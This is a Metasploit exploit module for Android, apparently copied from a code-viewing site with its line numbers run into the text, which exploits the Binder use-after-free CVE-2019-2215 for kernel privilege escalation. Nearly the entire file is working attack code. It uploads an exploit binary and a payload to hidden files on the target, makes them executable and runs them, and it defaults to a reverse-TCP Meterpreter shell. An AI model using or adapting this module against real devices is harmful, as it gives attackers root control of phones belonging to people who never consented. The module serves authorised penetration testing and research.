Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/modules/exploits/android/local/binder_uaf.rb
Views: 11784
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Exploit::Local6Rank = ExcellentRanking78include Msf::Post::File9include Msf::Post::Common10include Msf::Exploit::EXE11include Msf::Exploit::FileDropper1213def initialize(info = {})14super(15update_info(16info,17{18'Name' => "Android Binder Use-After-Free Exploit",19'Description' => %q{20This module exploits CVE-2019-2215, which is a use-after-free in Binder in the21Android kernel. The bug is a local privilege escalation vulnerability that22allows for a full compromise of a vulnerable device. If chained with a browser23renderer exploit, this bug could fully compromise a device through a malicious24website.25The freed memory is replaced with an iovec structure in order to leak a pointer26to the task_struct. Finally the bug is triggered again in order to overwrite27the addr_limit, making all memory (including kernel memory) accessible as part28of the user-space memory range in our process and allowing arbitrary reading29and writing of kernel memory.30},31'License' => MSF_LICENSE,32'Author' => [33'Jann Horn', # discovery and exploit34'Maddie Stone', # discovery and exploit35'grant-h', # Qu1ckR00t36'timwr', # metasploit module37],38'References' => [39[ 'CVE', '2019-2215' ],40[ 'URL', 'https://bugs.chromium.org/p/project-zero/issues/detail?id=1942' ],41[ 'URL', 'https://googleprojectzero.blogspot.com/2019/11/bad-binder-android-in-wild-exploit.html' ],42[ 'URL', 'https://hernan.de/blog/2019/10/15/tailoring-cve-2019-2215-to-achieve-root/' ],43[ 'URL', 'https://github.com/grant-h/qu1ckr00t/blob/master/native/poc.c' ],44],45'DisclosureDate' => '2019-09-26',46'SessionTypes' => [ 'meterpreter' ],47'Platform' => [ "android", "linux" ],48'Arch' => [ ARCH_AARCH64 ],49'Targets' => [[ 'Auto', {} ]],50'DefaultOptions' => {51'PAYLOAD' => 'linux/aarch64/meterpreter/reverse_tcp',52'WfsDelay' => 5,53},54'DefaultTarget' => 0,55'Compat' => {56'Meterpreter' => {57'Commands' => %w[58stdapi_fs_getwd59]60}61},62}63)64)65end6667def upload_and_chmodx(path, data)68write_file path, data69chmod(path)70register_file_for_cleanup(path)71end7273def exploit74local_file = File.join(Msf::Config.data_directory, "exploits", "CVE-2019-2215", "exploit")75exploit_data = File.read(local_file, mode: 'rb')7677workingdir = session.fs.dir.getwd78exploit_file = "#{workingdir}/.#{Rex::Text::rand_text_alpha_lower(5)}"79upload_and_chmodx(exploit_file, exploit_data)80payload_file = "#{workingdir}/.#{Rex::Text::rand_text_alpha_lower(5)}"81upload_and_chmodx(payload_file, generate_payload_exe)8283print_status("Executing exploit '#{exploit_file}'")84result = cmd_exec("echo '#{payload_file} &' | #{exploit_file}")85print_status("Exploit result:\n#{result}")86end87end888990